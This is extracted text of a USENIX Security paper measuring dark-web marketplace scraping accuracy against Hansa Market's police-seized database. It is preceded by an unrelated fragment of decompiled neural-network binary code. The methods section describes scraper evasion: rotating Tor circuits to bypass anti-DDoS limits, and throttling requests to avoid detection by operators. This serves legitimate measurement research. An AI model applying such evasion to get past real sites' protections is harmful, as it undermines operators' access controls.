19 _mm_mul_ps(∗(__m128 ∗)(a3 + 4 ∗ v35),

v50),
20 _mm_add_ps(
21 _mm_mul_ps(∗(__m128 ∗)(a3 + 4 ∗ v34

), v49),
22 _mm_add_ps(
23 _mm_mul_ps(∗(__m128 ∗)(a3 + 4 ∗

v33), v48),
24 _mm_add_ps(
25 _mm_mul_ps(∗(__m128 ∗)(a3 + 4 ∗

v32), v47),
26 _mm_add_ps(
27 _mm_mul_ps(∗(__m128 ∗)(a3 + 4

∗ v31), v46),
28 _mm_add_ps(
29 _mm_mul_ps(∗(__m128 ∗)(a3 +

4 ∗ v30), v45),
30 _mm_add_ps(
31 _mm_mul_ps(∗(__m128 ∗)(a3

+ 4 ∗ v29), v44),
32 _mm_mul_ps(∗(__m128 ∗)(a3

+ 4 ∗ v28), v43))))
))));

33 // 89 lines of code omitted
34 v85 = (__m128)_mm_unpackhi_pd((__m128d)v82, (

__m128d)v82);
35 v86 = (float)(_mm_shuffle_ps(v55, v55, 229).

m128_f32[0] + v55.m128_f32[0]) + ∗(v36 −
7);

36 v42 = (float ∗)(a1 + ((4 ∗ (v120 + ((v39 +
v129) << 6))) | 0x1C));

37 // 91 lines of code omitted
38 }
39 while ( v120 < 0x38 );

Listing 2: Snippet of a decompiled convolution operator
function of Glow/x86 binary function

1 do
2 {
3 // 7 lines of code omitted
4 do
5 {
6 // 6 lines of code omitted
7 do
8 {
9 v84 = v32;

10 if ( (unsigned __int64)(v32 + v103) <= 7 )
11 {
12 v33 = 8 ∗ v32;
13 v34 = 0LL;
14 while ( (__int64)(v34 + v31) < 3 )
15 {
16 if ( (__int64)(v34 + v31) < 0 )
17 {
18 v35 = 1LL;
19 }
20 else
21 {
22 // 5 lines of code omitted
23 do
24 {
25 // 21 lines of code omitted
26 do
27 {
28 v51 = _mm_shuffle_ps(
29 (__m128)∗(unsigned int ∗)(v37 +

v41 − 768),
30 (__m128)∗(unsigned int ∗)(v37 +

v41 − 768),
31 0);
32 // 38 lines of code omitted
33 }
34 while ( v41 );
35 v60 = v40 + v36;
36 ∗(__m128 ∗)(a1 + 4 ∗ v60 + 16) =

_mm_add_ps(v50, ∗(__m128 ∗)(a1 + 4 ∗
(v40 + v36) + 16));

37 ∗(__m128 ∗)(a1 + 4 ∗ v60) = _mm_add_ps(
v49, ∗(__m128 ∗)(a1 + 4 ∗ (v40 + v36
)));

38 // 36 lines of code omitted
39 }
40 v67 = v83 + (v34 << 8);
41 do
42 {
43 if ( v34 + v31 <= 7 )
44 {
45 // 4 lines of code omitted
46 do
47 {
48 // 5 lines of code omitted
49 do
50 {
51 // 52 lines of code omitted
52 }

Listing 3: Snippet of a decompiled convoluation operator
function of Glow/x86 binary function
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Abstract

A number of recent studies have investigated online anony-

mous (“dark web”) marketplaces. Almost all leverage a

“measurement-by-proxy” design, in which researchers scrape

market public pages, and take buyer reviews as a proxy for ac-

tual transactions, to gain insights into market size and revenue.

Yet, we do not know if and how this method biases results.

We build a framework to reason about marketplace mea-

surement accuracy, and use it to contrast estimates projected

from scrapes of Hansa Market with data from a back-end

database seized by the police. We further investigate, by sim-

ulation, the impact of scraping frequency, consistency and

rate-limits. We find that, even with a decent scraping regimen,

one might miss approximately 46% of objects – with scraped

listings differing significantly from not-scraped listings on

price, views and product categories. This bias also impacts

revenue calculations. We find Hansa’s total market revenue

to be US $50M, which projections based on our scrapes un-

derestimate by a factor of four. Simulations further show that

studies based on one or two scrapes are likely to suffer from

a very poor coverage (on average, 14% to 30%, respectively).

A high scraping frequency is crucial to achieve reliable

coverage, even without a consistent scraping routine. When

high-frequency scraping is difficult, e.g., due to deployed anti-

scraping countermeasures, innovative scraper design, such

as scraping most popular listings first, helps improve cover-

age. Finally, abundance estimators can provide insights on

population coverage when population sizes are unknown.

1 Introduction

Paradoxically, the emergence of online crime has made mea-

suring criminal activities easier. In particular, the digitization

of crime and the adoption of anonymization technologies has

sparked the existence of anonymous marketplaces to support

the underground economy. Although anonymous, most of

*Both authors contributed equally.

these markets are publicly accessible, and, as a result, data are

far easier to collect than for their street crime counterparts.

Online anonymous marketplaces have been the focal point

of numerous measurement efforts of the underground econ-

omy [6, 16, 20, 41, 47, 50]. To gain insight into the size and

scope of illegal activities on these markets, and how these

evolve over time, most of the earlier work captured the mar-

kets’ nature and their size – investigating the types of illicit

products traded, and deriving the amount of listings, vendors

and estimating its revenue.

Although these established insights help us understand

trends in volume and types of crimes facilitated by online

anonymous markets, the vast majority of earlier work is lim-

ited by their common measurement approach. All perform

their analysis based on data collected through web scraping

– i.e., collecting the content of public web pages displayed

by the markets. This scraping is done in a measurement en-

vironment that is both inherently challenging (markets often

run on low-availability servers [41] with high latencies due to

the use of Tor or i2p hidden services), and even adversarial

due to the market operators’ extensive use of rate-limiting

mechanisms such as CAPTCHAs, or their attempts to detect

and ban automated activity [45]. As a result, researchers have

to take missing and incomplete data for granted.

Furthermore, because they generally do not have access to

the markets internal databases, researchers must use certain

proxies – e.g., reviews instead of documented transactions, or

listing counts – when performing analyses of, for instance,

economic volumes. This “measurement-by-proxy” results in

additional errors, whose size and influence on the results of the

analysis are unknown. Because most of the approximations

are due to missing, rather than incorrect, data, we know that

many online anonymous market measurements can provide

reliable lower bounds on economic activity. But by how much

are they underestimating actual activity?

The potential for measurement errors does not only influ-

ence scientific research. If the confiscation of illegal assets

by law enforcement is based on projected revenue calculated

based on only data measured by proxy, the seized amount

USENIX Association 31st USENIX Security Symposium    2153



will often be lower than the actual turnover of the seller. In

short, estimating the size of measurement error on these mar-

ketplaces, as well as what influences these errors, is not only

important to validate the outcomes of previous work, but,

more importantly, understanding the origins of these errors

should also help shape best practices for measurements of

these marketplaces moving forward.

We make the following contributions:

• We provide the first overview of measurement method-

ologies used in online anonymous market research and

show that very few papers explain their scraping and

pre-processing routines.

• We build a framework to reason about online anonymous

marketplace data collection and projections. Specifically,

we mathematically define a model to express possible

sources of inaccuracies in online anonymous market

measurements.

• Using back-end data from a seized market, we empiri-

cally measure coverage statistics and find that scraped

listings differ significantly from not-scraped listings on

features such as price, product category and visibility.

• We validate revenue calculation approaches and show

that taking reviews as a proxy for transactions can lead

to underestimating the total market revenue by a factor

of four.

• Through simulations seeded by actual market data, we

estimate the coverage impact of various scraping method-

ologies, rate limits, and the precision of abundance esti-

mation techniques.

The rest of this paper is structured as follows. Section 2 syn-

thesizes related work on measuring online anonymous mar-

kets. Section 3 describes our experimental methods. Section 4

introduces a mathematical model to reason about online mar-

ketplaces. Section 5 explains our data sources, including our

simulated marketplace. Section 6 presents our real-world com-

parison between scrapes and back-end data, to empirically

uncover coverage and scraping bias. Section 7 discusses price

estimation methods. Section 8 describes our experiments and

results with simulated marketplaces. Section 9 describes our

ethical considerations, and discusses limitations and public

policy take-aways. Finally, Section 10 concludes.

2 Measuring Marketplaces

An extensive body of work studying online anonymous mar-

kets has provided us with substantial insights into market eco-

nomics. Since 2013, over 60 papers covering a broad range

of disciplines have used data from online anonymous mar-

ketplaces or their dedicated forums. From analyzing the first

modern1 online anonymous market, Silk Road, in 2013, to

evaluating a whole ecosystem of competing markets, measur-

ing marketplaces has evolved from studying a single market

to analyzing market economics [16, 17, 41, 47], security prac-

tices [28], buyer and vendor behavior [44, 46, 51] and the im-

pact of police interventions [22, 48]. Research using scraped

data of online anonymous marketplaces has also shed light on

the relationship between online and offline drug trade [20].

We first summarize how, at a high level, researchers can in

turn exploit publicly available market data to produce mea-

surements in Section 2.1. Then, in Section 2.2, we survey the

literature for measurement methods used in previous research.

2.1 Background

Anonymous online marketplaces are similar to regular online

markets on the clear web such as eBay, Alibaba, or Amazon

Marketplace: they serve as a platform for vendors to post

listings about products or services for buyers to purchase.

Figure 1 shows the Alphabay marketplace as an example,

whose main features carry over to most online anonymous

markets.2 The landing page users initially reach (Fig. 1(a))

often features a menu with product categories, a search bar

and an overview of popular listings on the market, as well as

listing counts by category.

A more precise estimate of revenue can a priori be ob-

tained by looking at each listing in more details. Specifically,

Fig. 1(b) represents a typical listing page: title, description,

geographical origin, vendor information, price, and, in some

cases, total number of sales (2,314 here). To get a more pre-

cise picture of revenue over time, one may need to look at

the feedback received by the vendor about the relevant item

(Fig. 1(c)): the review timestamps can provide an approxi-

mate idea of the purchase dates. However, if buyers are not

required to leave feedback for every single purchase, using

reviews as a proxy for transactions will result in under-counts.

2.2 Literature survey

We next present an overview of measurement methodologies

used in online anonymous market research. As we are in-

terested in methodologies for scraping and pre-processing,

which proxies and heuristics were used, and if/how external

validation was done, we focus this overview on papers that

performed this complete process – from data collection to

analysis – and that investigated one or more complete markets.

We thus exclude papers that use existing data, papers that fo-

1That is, the first online market to rely on a combination of network

anonymization (Tor) and distributed cryptocurrency (Bitcoin). Other “proto-

markets,” such as The Farmer’s Market, existed prior to Silk Road, but did not

rely on the combination of cryptocurrencies with anonymizing technology,

and were arguably far less influential.
2Alphabay was reportedly one of the largest online anonymous markets

ever. It was seized in July of 2017, in a one-two punch that involved Hansa.
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(a) Landing page (b) Item page (c) Review page

Figure 1: Marketplace example. Revenue can be estimated for each item, based on data present on the item and reviews page.

cus on just one product category or country, as well as papers

based on other methods, e.g., user surveys or interviews.

Scraping methods. The first step in acquiring and analyzing

dark net market data is to scrape the relevant markets; that

is, to capture copies of the web pages describing item list-

ings, vendors, and feedback so that they can be subsequently

used for further processing and analysis. Relatively few au-

thors [15, 16, 41] provide extensive details on their scraping

methods: number of scrapes, frequency, crawling mechanics,

size, design goals or explanations of failed scrapes. Baravalle

et al. [11], Baravalle and Lee [10], and Hayes et al. [24] all

describe the technical implementation of the scraper, however

they do not explicitly mention the number of scrapes they

collect nor the frequency. Dittus et al. [20] and Aldridge et

al. [4, 6] use a single-shot scrape and merely provide details

on the hyperlinks the scraper collected and followed. Sim-

ilarly, Dolliver [21] uses a single scrape but only discusses

the scraper design and mechanics. Van Wegberg et al. [47]

describe the number and frequency of their scrapes, but do not

discuss their scraper design. This finding of limited disclosure

of crawling approaches in research is similar to the general

survey on crawling methods in research from Ahmad et al.,

who sampled 350 papers that use a crawling methodology

and found that 36% of their sample can be classified as not

repeatable [3].

Post-processing. Once a market has been scraped, the rele-

vant pages need to be post-processed before they can be ana-

lyzed. Basically, this means 1) parsing each page to extract

salient information – e.g., listing title and vendor name, and

2) “cleaning up” the parsed data. More precisely, we look for

discussion of parsing, deduplication, recoding, review-to-item

listing matching, and completeness validation. Surprisingly

to us, post-processing pipelines are seldom discussed across

previous work. Completeness validation are most often dis-

cussed [5, 10, 15, 20, 41], but techniques are not standardized:

authors instead employ a variety of custom strategies to as-

sess the completeness of their datasets. Similarly, only a few

authors describe their parsing procedures [10, 15, 41] and

deduplication methods [15, 16, 41]. In two cases, the authors

describe their recoding procedures [20, 21].

Proxies and heuristics. Parsed and cleaned data are then

analyzed to provide insights about the market. This is where,

for instance, researchers extrapolate from reviews to get a

sense of economic revenue. Revenue can be defined as price

× sales. Since both these features are not always directly

scrapable, proxies have been used for analysis. We did find

some consensus across the use of proxies and heuristics.

As hinted above, authors frequently use reviews left on

listings as a proxy of transactions [4, 6, 16, 20, 41]. However,

Celestini et al. cast doubt on this procedure [15]. Because

some buyers will not leave a review, the number of reviews

should always be considered as a lower bound for the number

of sales. Most authors [4, 6, 10, 16, 41, 47] use the listing

price as a proxy for the paid sales price. This proxy has two

drawbacks, which are discussed in the aforementioned papers.

First, “holding prices,” where vendors increase listing

prices astronomically to signal an item is out of stock, are

a known phenomenon across online anonymous markets,

and authors employed various heuristics, mostly grounded

in domain expertise and manual analysis, to filter/include

them [6, 10, 41]. Second, the listing price changes over time,

which means that a later price might differ from an earlier

sales price. Only Soska and Christin [41] account for this

by using the listing price scraped closest in time to a review

timestamp.

Procedures to estimate the number of vendors either count

the number of scraped pages directly [4, 15], or conditioned

on activity, defined as having a listing in a given period

of time [16, 41]. In terms of proxies not related to trans-

actions, there is an apparent consensus in using shipping

to/from destination for determining geographic location of

items [11, 15, 16, 20, 21]. Item categorization (e.g., to deter-

mine whether a product is a narcotic, a prescription drug,

or a weapon) sometimes relies on the marketplace’s adver-

tised categories [15,16], sometimes on machine learning mod-

els [41, 47], or sometimes on manual analysis [20, 21].

External validation. Validating the reliability of collected

data is an important step in online measurement studies.

Past work employs a variety of external data sources to as-

sess the reliability of the collected data. For instance, Soska

USENIX Association 31st USENIX Security Symposium    2155



and Christin compare the data they collected against data

contained in trial evidence, criminal complaints, and leaked

pages [41]. Van Wegberg et al. also used criminal complaints

for validation [47]. Similarly, Tai et al. also use court records

in the context of vendor tracing across marketplaces [44]. Tai

et al. complement their evaluation with a publicly available

(at the time) crowd-sourced vendor database [8]. Last, Wang

et al. compare their collected data against past studies [46].

Closest to our work, Rossy et al. use data collected by po-

lice following shutdown operations [37], and two efforts use

ground truth data from back-end sources. Van de Laarschot

and Van Wegberg use data from Hansa [28], and Bradley uses

(partial) data from Silk Road 2.0 [12]. Interestingly, neither

effort uses this back-end data for validation, but instead relies

on it as ground truth for analysis.

For the validation of our own measurements, we will use

all papers that have used Hansa data (either scraped or the

database). These are Kruithof et al. [27], Lewis [29], Dittus

et al. [20] and Van de Laarschot and Van Wegberg [28].

3 Methodology

We first formalize an abstraction for online anonymous mar-

ketplaces in Section 4. This abstraction can be used to test the

impact of different hypothetical scenarios – e.g., what cover-

age do we get as we scrape more? Additionally, with accurate

parameters, we can extend the insights that we derive from the

specific marketplace we study, Hansa, to other marketplaces.

We will later use this abstraction to model data collection and

data analysis methods in simulated experiments.

We leverage three datasets for our analysis of losses when

measuring marketplaces. The first dataset consists of scrapes

collected from the public view of Hansa (Section 5.1). The

second dataset is the Hansa database, i.e., the administrator’s

view, seized in the Hansa takedown operation by the Dutch

National Police (Section 5.2). The third dataset is a set of sim-

ulated marketplaces that are scraped with different scraping

procedures and parameters (Section 5.3).

We provide the first empirical measurement of scraping cov-

erage based on ground truth data from Hansa in Section 6.1.

By matching listings, reviews and users in a scrape to the same

objects in the database at that moment in time, we measure

both instantaneous and cumulative coverage. This experiment

first confirms that not all objects are captured. In Section 6.2,

we divide the objects in groups of scraped and not-scraped

objects and show that significant differences exist between

them, evidencing different biases in scraped data.

Revenue calculations are a key part of marketplace research.

To better understand the impact of the biases that originate

from incomplete scrapes and conservative heuristics, we cal-

culate the revenue of one month of Hansa’s revenue based on

different data sources and different proxies and heuristics in

Section 7. Based on these different revenues, we can define

the different loss categories and their size. For example, how

much revenue do you underestimate by using reviews as a

transaction, versus orders as a transaction?

Finally, we conduct a series of simulations to understand

the collection loss incurred by different scraping approaches

in Section 8. We compare the coverage of one and two-shot

scrapes and we estimate the impact of scraping consistency

on coverage. We then explore the effectiveness of different

abundance estimators. Certain pages may yield higher cov-

erage than others (e.g. a listing with many reviews vs. one

with none). Thus, given the adversarial environment of online

anonymous marketplaces and the heavy impact that rate lim-

iting has on coverage, we evaluated the design of a scraper

that splits its scraping budget between rescraping listings with

most feedback growth and discovering new listings.

4 Modeling Marketplaces

To reason about marketplace data collection and projections,

we first need to mathematically define a model to express what

a market is. We describe the model components in Section 4.1.

We then describe data collection and analysis methods in

Section 4.2 and Section 4.3, and the types of losses that arise

from those functions in Section 4.4.

4.1 Model Components

Our model describes the relationships between the compo-

nents of a marketplace: 1) the states of a marketplace, 2) the

core objects of a marketplace, 3) the views that actors – such

as a marketplace customer, vendor, or administrator – have

of the state, and 4) the means by which states are altered.

For instance, we consider a scrape to be a representation of

one state, which observes various objects – such as reviews –

through the public-facing view of the marketplace – i.e., what

a customer would see – which does not alter the state.

States. The state of the marketplace, denoted σt for each

time t, contains all of the information currently stored on the

marketplace’s back-end servers. Our focus in this work is on

centralized marketplaces where a state takes the form of a

database, which contains tables on marketplace objects. The

marketplace transcript at time t is the complete history of all

states from the beginning of the marketplace until t, namely

Tt =
⋃

t σt . If the marketplace does not support deletions of

states then Tt = σt .

Objects. Objects are the core elements which constitute a

marketplace. They are contained in a state, can be seen in

a view, and can be altered through an operation. Objects in-

clude users (containing both vendors and customers), item

listings, reviews and transactions. While there may be other

objects that exist in a marketplace database (e.g., cryptocur-

rency wallets), a marketplace at least contains these. The

objects themselves can have different attributes related to

them. For example, a listing can have attributes such as price,

shipping origin and item description.
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Views. At any point in time, a marketplace offers different

views to different actors. Most commonly, a customer can

observe the marketplace state σt from a public view, which

we denote σ
public
t . This view allows the actor to observe item

price and previous reviews but may not have any information

on hidden listings, or on listings deleted before time t. On the

other hand, a marketplace administrator may be able to see

all the information from the marketplace. The administrator

view provides access to the collection of states σ
admin
t , which

if complete, represent the marketplace transcript.

For the remainder of the paper, we assume that scrapes al-

ways rely on public views of the marketplace, while a market-

place take-down by law enforcement allows access to either

the complete transcript (e.g., if the administrators kept back-

ups of old states), or at least a partial view of the transcript.

While out of scope for this work, it would also be desirable

to consider vendor and moderator views, as law enforcement

has been known to infiltrate these accounts, which represent a

practical vantage point through which different signals can be

extracted from a state. While these views are not as compre-

hensive as the administrator view, they should provide more

information than is available in public views.

Operations. The state of the marketplace evolves via the

insertion and deletion of objects, where updating the market-

place state is modeled as a deletion followed by an insertion.

These operations affect σt , and thus all views of the mar-

ketplace and imply that future states are generally neither a

proper subset nor a superset of previous states. Some opera-

tions can also affect specific views of the marketplace state.

For instance, a hide operation on a listing, affects the public

view but not the administrator view. On the other hand, the

deletion of database backups or logs affect the administrator

view but not the public view.

4.2 Data Collection

We define data collection functions as those which aim to

retrieve the state of the marketplace at a time t and with

a given view. The most common collection function is the

scraping function, which uses view = public. We model a

scraper that collects marketplace information from time m to

time n as:

Spublic
m→n =

⋃

i∈[m,n]

xi← s(σ
public
i ) . (1)

Here, s(·) is a scraping function that takes in a marketplace

state and returns the subset of data sampled according to a

certain distribution. Typically, this function will either return

the empty set when no information is collected on a particular

state, or pieces of data representing the collective information

on a few pages that were scraped.

4.3 Data Analysis

Data analysis is using data that has been collected, to mea-

sure any characteristic of the marketplace. Analysis functions

mostly focus on taking the objects available in the public view

(item listings, users and reviews) to approximate the objects

available in the admin view (transactions). For instance, if one

uses reviews as a proxy for transactions, we formally have:

|Tradmin
l | ≥ |R

public
l | , (2)

that is, the number of actual transactions Tr for a listing l in

the admin view will always be greater or equal to the number

of reviews R for l present the public view. In other words, the

number of reviews is a lower bound for the number of transac-

tions. As discussed in Section 2, the functions applied to trans-

form the “raw” collected object files to analyzable datasets are

often overlooked in data analysis. These are mostly functions

that combine different approximated states to one approxi-

mated transcript of a marketplace.

4.4 Losses

We define two broad types of loss in our model: collection

loss and inference loss. First, collection loss results from

any process which causes the data collection of a state to be

different from the true state. Formally, between times m and

n, for a given view, we have:

Collection Lossview
m→n =

[

⋃

i∈[m,n]

σ
view
i

]

−Sview
m→n . (3)

(In the present discussion, view = public, but the loss defini-

tion generalizes to other views.) There are numerous sources

of collection loss, including technical sources of loss (e.g.,

network errors, rate-limiting, backup loss), scraping-related

losses (e.g., scraper design and website layout), and simply

data loss that occurs over time due to data updates (e.g., dele-

tion of objects from public view). In practice, collection loss

can be defined as 1− coverage.

Second, we consider inference loss. For instance, to infer

transactions, we need to match reviews to their corresponding

listing. In this process, we may find matching and/or dupli-

cation issues which can lead to loss. For instance, attempting

to detect when two a priori different reviews match the same

sale (i.e., the buyer simply updated their feedback message)

may lead to a loss, when this matching process reaches an

incorrect conclusion.

5 Datasets

For our analysis we leverage three sources of data: Hansa

scrapes (Section 5.1), Hansa database (Section 5.2) and simu-

lations (Section 5.3).
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5.1 Public View – Hansa Scrapes

We built our scraper using Scrapy [2], on top of Tor [19]. We

scraped Hansa 17 times between late 2015 and mid-2017,

collecting a total of 332,795 pages amounting to 39.5 GB of

data.3 The precise scrape dates can be found in Appendix 12.

The scrapes provide a picture of Hansa during three periods

of time: its initial stages (late 2015), its mature stage (mid-

2016), and its peak prior to takedown (mid-2017). Out of the

17 scrapes, 3 of them failed due to authentication problems

(due to cookies being invalidated), leaving 14 scrapes for

analysis. Following the scraping, we proceeded to parse the

pages and deduplicate entries. Below, we describe each of

these processes.

Scraping procedure. We designed the scraper with reliabil-

ity (to reduce data loss) and stealth (to prevent evasion) as

primary goals. Our scraping algorithm was depth-first across

parallel Tor circuits. To build the scraper we first performed a

manual analysis of Hansa’s layout. We then built a set of reg-

ular expressions for the URLs in the marketplace. This also

allowed us to restrict certain requests to be sent when follow-

ing links – e.g., add items to cart, checkout, etc. On session

start, we provided the scraper with a session cookie manu-

ally obtained after solving a CAPTCHA. Scraping sessions

ranged from a few minutes to a few days. When carrying out

requests, our scraper randomly selects among a set of pre-built

Tor circuits as a way of bypassing anti-DDoS mechanisms by

“spreading the load” over multiple connections.

Ideally, we would want our scraper to instantaneously cap-

ture a snapshot of a marketplace, and to do so frequently. This

would allow us to capture changes in the marketplace state as

they happen and avoid missing objects that may be changed or

deleted as time passes. In practice, however, we need to limit

our requests so that we 1) do not alert the marketplace’s oper-

ators and resultingly get blocked, and 2) do not significantly

impact marketplace operations by flooding it with traffic. We

performed approximately 12 requests per minute.

Timeline. During our initial scrapes (late 2015, early 2016)

we observed slow growth in daily revenue – on average

∼$2,000 per day. As a result, we decreased our scraping rate

throughout 2016 and early 2017, where Hansa had modest

growth, and remained far behind competing marketplaces,

notably Alphabay. Finally, following the Alphabay takedown

in July 2017, Hansa saw a surge in popularity, so we began

scraping frequently again.

Parsing and deduplication. We then extracted information

from our scrapes through a parsing process. We iteratively

adapted our parser to account for changes in the Hansa website

over time which caused information, such as data fields, to be

added, modified, and/or removed. One of our main parsing

objectives was to ensure reviews are correctly paired with

item listings, since this forms the basis of revenue calculation.

3The sanitized scrape data can be found at https://arima.cylab.cmu.

edu/markets/

Scraping provides a snapshot of the marketplace (public)

view at one point in time. Subsequent scrapes capture new in-

formation as well as substantial duplicate information. Dedu-

plicating listings and vendors is trivial since they have unique

identifiers. However, review deduplication is more challeng-

ing. We consider a review to be a duplicate if the author,4

message, and timestamp5 are the same and correspond to

the same listing. We note that the review editing feature that

Hansa provided may have caused a few overcounts given that

it alters the timestamp of the review.

Author / Scrape Date Vendors Listings Reviews Est. revenue

Kruithof et al. (2016/1/11→ 2016/1/15) 219 4,829 – –

This work (→ 2016/1/17) 282 5,987 2,847 $134,145

Lewis (2016/12/10→ 2016/12/16) – 43,841 – ∼$3,000,000

This work (→ 2016/12/14) 840 21,1856 64,123 $2,885,133

Dittus et al. (2017/6→ 2017/7) 2,300 51,800 91,9007 –

This work (→ 2017/7/7) 1,639 48,330 186,893 $10,305,493

Table 1: Comparisons between Hansa studies. We include

counts of reviews without price information. However, we

omit them when estimating revenue.

External validation. We first validated the completeness of

our scrapes by comparing them to information contained in

other work on Hansa. Table 1 summarizes this comparison.

Kruithof et al. conducted a scrape between January 11th and

January 16th, 2016 [27]. Lewis conducted a scrape between

December 10th and December 16th, 2016 [29] and Dittus et

al. conducted a scrape “in late June to early July 2017” [20].

For all three datasets, we can directly compare our review

counts since reviews are timestamped, which allows us to drop

all reviews which do not fall in the scraping dates mentioned

by the authors. However, in terms of listings and vendors, we

can only do direct comparisons with Kruithof et al. and Dittus

et al.’s datasets, since we have a Hansa scrape on January 17th

2016, and on July 7th 2017. This is because vendor and listing

pages are not timestamped, so we cannot determine how many

listings or vendors were present at the time of Lewis’s scrape.

Instead, we approximate the listings and vendors we had at

the time of Lewis’s scrape by only counting listings (and

their corresponding vendors) which we had seen prior to July

7th and had more than one review. Table 1 shows that our

scrapes mostly match measurements of earlier work. This is

reassuring, given the scraping gap between 2016 and 2017.

5.2 Admin View – Hansa Database

We next use Hansa data obtained by the Dutch National Police

on July 20, 2017 when the market was taken down [23]. At

4Regardless of username length, Hansa only displayed the first and last

character of a review author with three asterisks in-between, e.g. a***b.
5Hansa originally provided timestamps with a one-minute granularity,

before switching to a one-day granularity.
6We skipped 27,145 listings, unable to confirm their scrape date.
7The review discrepancy is likely caused by the fact that Dittus et al.

focus on scraping “product catalogs,” missing reviews left on vendor pages.

2158    31st USENIX Security Symposium USENIX Association

https://arima.cylab.cmu.edu/markets/
https://arima.cylab.cmu.edu/markets/


that time, the Dutch National Police had been running Hansa

through a covert operation for exactly a month, starting on

June 20, 2017. Using this data raises ethical considerations

that we discuss in Section 9.

This data we have at our disposal is, in practice, a copy

of the Hansa “back-end” database, that consists of 64 tables

created by the marketplace administrators, as well as 76 back-

up tables containing data from specific, earlier time periods.

Using our earlier notations, we thus have both the “final state”

of the marketplace, σ
admin
t = σt (where t =“July 20, 2017”)

and some of the σ
admin
t ′

for t ′ < t. We focus on quantifying

measurement loss that occurs when we rely on scrapes of

public views to reconstruct the entire market transcript (see

Section 4 for definitions). For this analysis, we only need the

data that pertains to the main objects (see Section 4.1) of the

back-end database: listings, reviews, users, orders and trans-

actions. Because older data was deleted as time went by, the

final state of the Hansa market is not identical to the complete

transcript of the market. Fortunately, the presence of back-up

databases allowed us to partially recover that transcript. To

that effect, we took the following preprocessing steps.

First, we noticed that a number of objects were present

in different back-up tables. For each object type (e.g., or-

ders, users, ...), we combined all of these records into a sin-

gle, merged “complete” table. Whenever we found multiple

records corresponding to a single object, we kept the most re-

cent record. Second, we then pruned these complete tables to

ensure they only hold data pertaining to “finalized” purchases,

as opposed to aborted attempts. For instance, we filtered out

of the complete order table entries referring to 1) orders with-

out an associated transaction (money transfer), 2) orders that

were declined by the seller, and 3) orders that were refunded.

Similarly, we removed transactions between internal wallets

to avoid double-counting transactions. Third, we checked data

completeness in each table. Each table has an incremental

unique identifier, which we can use to infer the amount of

records purged from the database, simply by comparing the

record count with the highest unique identifier.

Table 2 summarizes the outcome of our data processing. It

shows the time period data is available from, the amount of

records, the highest identifier, the percentage of missing data

and finally the total amount of records available for analysis

after filtering. The order table seemingly only holds roughly

50% of all orders, even when all the available backup tables

are used. However, plotting the data over time, in Figure 2,

shows a much more nuanced picture: order data is sporad-

Object Time period Records Highest ID Missing (%) After filtering

Listings 2015/3/19–2017/7/20 123,143 123,969 0.67% 123,133

Reviews 2015/3/19–2017/7/20 258,184 260,853 1.02% 258,184

Users 2015/3/18–2017/7/20 419,323 432,287 3.00% 419,323

Orders 2015/6/17–2017/7/20 312,128 589,038 47.01% 192,708

Transactions 2016/1/28–2017/7/20 1,686,919 1,715,485 1.67% 505,883

Table 2: Marketplace objects from Hansa back-end
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Figure 2: Weekly counts of objects from the Hansa back-end

ically highly available, and sometimes completely missing.

This shows that even after seizing a marketplace, one does

not necessarily possess the ability to completely recreate the

whole transcript of everything that happened during the mar-

ketplace’s lifespan. In contrast with Van de Laarschot and

Van Wegberg [28], who used the same dataset, we do not

reconstruct purged orders by using their reviews as a proxy.8

5.3 Public View – Simulation

To derive insights on the impact of different scraping regi-

mens and abundance estimation techniques on the quality of

revenue estimation, we first generate (by simulation) fictitious

marketplaces, that are similar to the Hansa marketplace 9, i.e.,

they feature similar objects and similar statistical parameters.

As we discuss in Section 8.5, with the right choice of param-

eters, such simulations could reproduce other markets like

Alphabay, Evolution, White House Market, Silk Road, etc.

We then simulate different scraping routines on these markets.

We begin with a formal description of the marketplace gener-

ation and scraping simulation processes, based on the model

defined in Section 4. Figure 3 shows the entire process.

Following our model in Section 4.1, our simulation consists

of four main objects: listings, vendors, reviews, and transac-

tions. Additionally, we implement operations on each of these

objects. Vendors and reviews can only be created, whereas

listings can be created, deleted, set to hidden, or set to visible.

Our simulations need five inputs: probability spaces, assign-

ment functions, growth functions, a shaping function and a

scraping function.

Probability space 1 The probability space determines the

sampling probability of each operation, e.g., probability a

listing gets deleted, that a vendor is “created” (i.e., appears

on the market), etc. Since the Hansa database provides final

counts for the objects and operations we defined, we use this

information to empirically define a probability space.

8Van de Laarschot and Van Wegberg used feedback to reconstruct missing

order data, whereas we - for investigating differences between (scraped)

reviews and orders - turned to data from the previously untapped and more

complete transaction table.
9The code used for simulations can be found at: https://github.com/

aledcuevas/dnm-simulation
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Figure 3: Steps involved in the generation and scraping of a simulated online marketplace.

Assignment function 2 Our objects have ordering and a

set preference. For instance, vendors can exist in isolation,

however listings must be created by a vendor, and reviews

must belong to a listing. The way that each object is assigned

to another is important in the context of hide and delete oper-

ations. For example, the distribution of reviews over listings

can greatly impact a scraper’s coverage, since the deletion

of a listing with many reviews will cause a bigger loss if the

scraper did not manage to capture this information before

deletion. Thus, we define distributions for each assignment

function (i.e., reviews to listings, listings to vendors).

Growth function 3 Certain operation probabilities depend

on the quantity of the objects in the market. For example,

the probability of deleting a listing is zero when no listing

exists. However, as the market grows and the number of list-

ings increases, the probability of a delete operation will also

increase. As such, we define a growth function which adapts

our probability space as the quantity of objects increase.

Shaping function 4 Once we have the probability of each

operation, we need to add a time abstraction for the occurrence

of events. For this, we employ a shaping function. Its purpose

is to organize (or shape) the sequence of operations that take

place over the lifetime of the marketplace simulation. Without

a shaping function, each operation corresponds to a state

transition from σt → σt+1. Shaping allows the state transition

to be over epochs corresponding to a number of operations.

Here, we define each epoch to represent a day. We allow a

certain number of operations to take place before we proceed

to the next epoch. So, we compute the moving average of

the objects over the lifespan of the marketplace in days and

summed them to derive an approximate shape for our events.

Then, we define tolerance bounds around the average and

allow the number of allowed events to be picked uniformly

within the bounds. The tightness of the bounds determines

the variability between each simulation. The simulation ends

once either a certain number of operations have taken place or

a certain number of epochs have passed. We also allow toler-

ance bounds around the allowed number of operations/days.

Scraping procedure 5 Last, we define a simulated scraping

procedure. Our basic scraping procedure is parameterized by

the frequency at which scrapes are conducted, the number

of requests the scraper is allowed to conduct, and an error

probability characterizing the risk of failure of the request.

The scrapes are instantaneous. For each request, the scrape

has access to the public view of the marketplace, that is, all

public listings, vendors, and reviews; we call these pages. A

page is scraped by uniformly drawing from the list of public

pages. Each page retrieval counts towards the request cap, as

well as a failed request.

Simulation setup. We summarize the marketplace simulation

and describe the parameterization we used. The probability

spaces determine the frequency at which operations take place.

Because we do not know the precise ordering of operations

